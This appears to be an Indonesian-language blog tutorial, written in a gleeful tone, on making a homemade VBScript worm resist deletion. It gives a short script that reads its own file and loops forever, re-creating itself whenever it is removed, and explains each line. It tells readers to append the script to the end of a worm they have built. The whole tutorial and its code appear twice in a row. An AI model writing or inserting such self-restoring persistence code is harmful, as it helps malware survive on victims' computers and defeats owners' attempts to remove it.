Bagaimana cara worm yang kita buat sangat susah untuk dihapus walaupun sudah kita delete berkali-kali dari kompie...heheheheh.....
liat function ini :
------------------------------------------code dimulai
dim fso, myself,mytext
set fso = createobject("scripting.filesystemobject")
set myself = fso.opentextfile(wscript.scriptfullname)
mytext = myself.readall
myself.close
do
if fso.fileexists(wscript.scriptfullname) = false then
set myself = fso.createtextfile(wscript.scriptfullname)
myself.write mytext
myself.close
end if
loop
--------------------------------------berakhir dsini
dim fso, myself,mytext
- Ngedeklarasiin variabel
set fso = createobject("scripting.filesystemobject")
- Biasaaa.. bikin file system objeek
set myself = fso.opentextfile(wscript.scriptfullname)
- Bikin texttream objek memakai fiile vbs
mytext = myself.readall
- Meletakan semua file vbs dalam vvatiabel mytext
myself.close
- Nutup textream
do
- Lakukaaaaannnnnnnnnnnnnnnnn...............!!!!!
if fso.fileexists(wscript.scriptfullname) = false then
- Mereksa apakah worm kita masih mmasiha ada apa engga ? jika udah diapus maka....
set myself = fso.createtextfile(wscript.scriptfullname)
- worm akan dibuat lagi....hehehehh....
myself.write mytext
- Nulis semua variabel textream yaang udah kita buat tadi
myself.close
-Nutup
end if
Nutup kondisi
loop
- Mengulangi langkah2 diatasnya.....
Kamu musti ngeletakin script diatas pada baris terakhir worm yang kamu udah buat karna jika kamu meletakan ditengah apalagi diatas maka script worm yang kamu buat ga mungkin dibaca semua semuanya....
liat function ini :
------------------------------------------code dimulai
dim fso, myself,mytext
set fso = createobject("scripting.filesystemobject")
set myself = fso.opentextfile(wscript.scriptfullname)
mytext = myself.readall
myself.close
do
if fso.fileexists(wscript.scriptfullname) = false then
set myself = fso.createtextfile(wscript.scriptfullname)
myself.write mytext
myself.close
end if
loop
--------------------------------------berakhir dsini
dim fso, myself,mytext
- Ngedeklarasiin variabel
set fso = createobject("scripting.filesystemobject")
- Biasaaa.. bikin file system objeek
set myself = fso.opentextfile(wscript.scriptfullname)
- Bikin texttream objek memakai fiile vbs
mytext = myself.readall
- Meletakan semua file vbs dalam vvatiabel mytext
myself.close
- Nutup textream
do
- Lakukaaaaannnnnnnnnnnnnnnnn...............!!!!!
if fso.fileexists(wscript.scriptfullname) = false then
- Mereksa apakah worm kita masih mmasiha ada apa engga ? jika udah diapus maka....
set myself = fso.createtextfile(wscript.scriptfullname)
- worm akan dibuat lagi....hehehehh....
myself.write mytext
- Nulis semua variabel textream yaang udah kita buat tadi
myself.close
-Nutup
end if
Nutup kondisi
loop
- Mengulangi langkah2 diatasnya.....
Kamu musti ngeletakin script diatas pada baris terakhir worm yang kamu udah buat karna jika kamu meletakan ditengah apalagi diatas maka script worm yang kamu buat ga mungkin dibaca semua semuanya....
Comments